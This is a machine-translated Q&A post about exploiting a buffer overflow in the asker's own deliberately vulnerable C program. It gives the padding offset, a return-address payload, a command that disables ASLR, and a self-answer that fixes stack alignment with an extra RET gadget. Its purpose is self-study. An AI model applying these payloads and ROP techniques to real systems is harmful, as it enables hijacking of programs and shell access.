/bin/sh 立即关闭,无需等待用户输入

/bin/sh 立即关闭,无需等待用户输入

我正在利用缓冲区溢出漏洞进行教育目的。我的目标是通过更改 RIP 并针对邪恶函数来触发 shell。我使用的是 Ubuntu 18.04 64 位。这是代码.c:

#include <stdio.h>
#include <stdlib.h>

void main(void)

{
  char buf[20];
  printf("Give me your name: ");
  gets(buf);
  printf("\nYour name is %s\n", buf);
  return;
}

void evil(){
    printf("Evil function entered\n");
    system("/bin/sh");
    printf("Evil function exited\n");
    return;
}

为了让事情变得简单,我使用 GCC 选项编译了这段代码-fno-stack-protector,该选项禁用了金丝雀。另外,我使用以下命令禁用了 ASLR:sudo bash -c 'echo 0 > /proc/sys/kernel/randomize_va_space'。因此,程序的内存地址永远不会改变,这使事情变得更加容易。

在code.c的编译版本中,我通过GDB得到了以下信息:

缓冲区开始于:0x7fffffffde80

RIP 存储于:0x7fffffffdea8

0x7fffffffdea8 - 0x7fffffffde80 = 40。因此,我们需要插入 40 字节的填充。

邪恶函数的入口位于0x55555555475f,在小尾数中看起来像:

\x5f\x47\x55\x55\x55\x55\x00\x00 (加上两个\x00就构成了整个8字节地址)

最终的有效负载如下所示:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x5f\x47\x55\x55\x55\x55\x00\x00

现在,我将其存储在一个文件中:

echo -e "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x5f\x47\x55\x55\x55\x55\x00\x00" > input.txt

最后,我运行程序并将input.txt内容作为输入传递:

cat input.txt - | ./code

注意到-阻止猫退出

我的终端显示:

Give me your name: 
Your name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA_GUUUU
Evil function entered
Evil function exited
Program received signal SIGSEGV. Segmentation fault. Core dumped.

令人惊讶的是,邪恶函数被执行但/bin/sh没有弹出。它会立即关闭,而不询问用户命令。看起来标准输入在某个时刻正在与终端分离。

问题是:如何弹出 shell 来执行命令?这是某种安全保护吗?

谢谢。

答案1

我终于解决了这个问题。

当堆栈不是 16 字节对齐时,C 库的 system() 函数将无法执行。

就我而言,我忘记在 16 字节边界上对齐堆栈,这就是system("/bin/sh");无法正确执行的原因,因此无法触发 shell。

事实上,在 x86-64 中,System V ABI 要求堆栈应为 16 字节对齐在执行 CALL 汇编指令之前。否则,结果不可预测。所以这不仅仅适用于 system() 函数,而是适用于任何函数。

由于我的堆栈未对齐 8 个字节,因此向 ROP 链添加额外的 RET 会导致堆栈正确对齐。

现在我已经成功了。

相关内容